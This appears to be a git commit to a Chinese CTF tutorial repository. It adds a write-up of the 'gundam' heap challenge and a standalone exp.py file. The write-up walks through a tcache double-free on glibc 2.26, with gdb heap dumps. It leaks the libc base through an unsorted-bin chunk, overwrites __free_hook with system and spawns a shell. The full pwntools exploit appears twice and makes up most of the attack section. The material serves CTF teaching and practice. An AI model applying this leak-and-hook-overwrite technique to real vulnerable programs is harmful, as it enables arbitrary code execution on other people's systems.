finish 6.1.19

This commit is contained in:
firmianay 2018-04-24 00:06:11 +08:00
parent 3a60abe7bb
commit bd2a5dadfb
2 changed files with 293 additions and 2 deletions

View File

@ -19,7 +19,7 @@ $ strings libc.so.6 | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.
```
保护全开。libc 版本 2.26,所以应该还是考察 tcache参考章节4.14)。
保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache参考章节4.14)。
玩一下:
```
@ -315,7 +315,7 @@ struct gundam *factory[9];
```
另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`
从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏。
从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏(以'\x0a'结尾)
#### Visit gundams
```
@ -537,6 +537,229 @@ struct gundam *factory[9];
## Exploit
所以利用过程如下:
1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 `__free_hook``system` 的地址。
2. 利用 double free`__free_hook` 修改为 `system`
3. 当调用 `free` 的时候就会调用 `system`,获得 shell。
#### leak
```python
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build('A'*7)
for i in range(7):
destroy(i) # tcache bin
destroy(7) # unsorted bin
blow_up()
for i in range(8):
build('A'*7)
visit()
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info("libc base: 0x%x" % libc_base)
log.info("__free_hook address: 0x%x" % __free_hook_addr)
log.info("system address: 0x%x" % system_addr)
```
chunk 被放进 unsorted bin 时:
```
gdb-peda$ vmmap heap
Start End Perm Name
0x0000555555757000 0x0000555555778000 rw-p [heap]
gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000 0x0700000000000000 <-- counts
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000 0x0000000000000111
0x555555757b50: 0x00007ffff7dd2c78 0x00007ffff7dd2c78 <-- unsorted bin
0x555555757b60: 0x0000000000000000 0x0000000000000000
gdb-peda$ vmmap libc
Start End Perm Name
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/gundam/libc.so.6
0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/gundam/libc.so.6
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/gundam/libc.so.6
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/gundam/libc.so.6
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
$1 = 0x3dac78
```
可以看到对应的 tcache bin 中已经放满了 7 个 chunk所以第 8 块 chunk 被放进了 unsorted bin。
再次 malloc 之后:
```
gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000 0x0000000000000111
0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78
0x555555757b60: 0x0000000000000000 0x0000000000000000
```
可以看到程序并没有在字符串后加 '\x00' 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。
```
[*] libc base: 0x7ffff79f8000
[*] __free_hook address: 0x7ffff7dd48a8
[*] system address: 0x7ffff7a3fdc0
```
#### overwrite
```python
def overwrite():
destroy(2)
destroy(1)
destroy(0)
destroy(0) # double free
blow_up()
build(p64(__free_hook_addr)) # 0
build('/bin/sh\x00') # 1
build(p64(system_addr)) # 2
```
触发 double free 时:
```
gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000 0x0000000000000111
0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer
0x555555757a20: 0x0000000000000000 0x0000000000000000
```
其 fd 指针指向了它自己。
接下来的 malloc 将改写 `__free_hook` 的地址:
```
gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000 0x0000000000000111
0x555555757a10: 0x0068732f6e69622f 0x000000000000000a
0x555555757a20: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd48a8
0x7ffff7dd48a8 <__free_hook>: 0x00007ffff7a3fdc0
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
```
#### pwn
```python
def pwn():
destroy(1)
io.interactive()
```
Bingo!!!
```
$ python exp.py
[+] Starting local process './gundam': pid 7264
[*] Switching to interactive mode
$ whoami
firmy
```
#### exp
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
#elf = ELF('gundam')
libc = ELF('libc.so.6')
def build(name):
io.sendlineafter("choice : ", '1')
io.sendlineafter("gundam :", name)
io.sendlineafter("gundam :", '0')
def visit():
io.sendlineafter("choice : ", '2')
def destroy(idx):
io.sendlineafter("choice : ", '3')
io.sendlineafter("Destory:", str(idx))
def blow_up():
io.sendlineafter("choice : ", '4')
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build('A'*7)
for i in range(7):
destroy(i) # tcache bin
destroy(7) # unsorted bin
blow_up()
for i in range(8):
build('A'*7)
visit()
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info("libc base: 0x%x" % libc_base)
log.info("__free_hook address: 0x%x" % __free_hook_addr)
log.info("system address: 0x%x" % system_addr)
def overwrite():
destroy(2)
destroy(1)
destroy(0)
destroy(0) # double free
blow_up()
build(p64(__free_hook_addr)) # 0
build('/bin/sh\x00') # 1
build(p64(system_addr)) # 2
def pwn():
destroy(1)
io.interactive()
if __name__ == "__main__":
leak()
overwrite()
pwn()
```
## 参考资料
- https://ctftime.org/task/5924

View File

@ -0,0 +1,68 @@
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
#elf = ELF('gundam')
libc = ELF('libc.so.6')
def build(name):
io.sendlineafter("choice : ", '1')
io.sendlineafter("gundam :", name)
io.sendlineafter("gundam :", '0')
def visit():
io.sendlineafter("choice : ", '2')
def destroy(idx):
io.sendlineafter("choice : ", '3')
io.sendlineafter("Destory:", str(idx))
def blow_up():
io.sendlineafter("choice : ", '4')
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build('A'*7)
for i in range(7):
destroy(i) # tcache bin
destroy(7) # unsorted bin
blow_up()
for i in range(8):
build('A'*7)
visit()
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info("libc base: 0x%x" % libc_base)
log.info("__free_hook address: 0x%x" % __free_hook_addr)
log.info("system address: 0x%x" % system_addr)
def overwrite():
destroy(2)
destroy(1)
destroy(0)
destroy(0) # double free
blow_up()
build(p64(__free_hook_addr)) # 0
build('/bin/sh\x00') # 1
build(p64(system_addr)) # 2
def pwn():
destroy(1)
io.interactive()
if __name__ == "__main__":
leak()
overwrite()
pwn()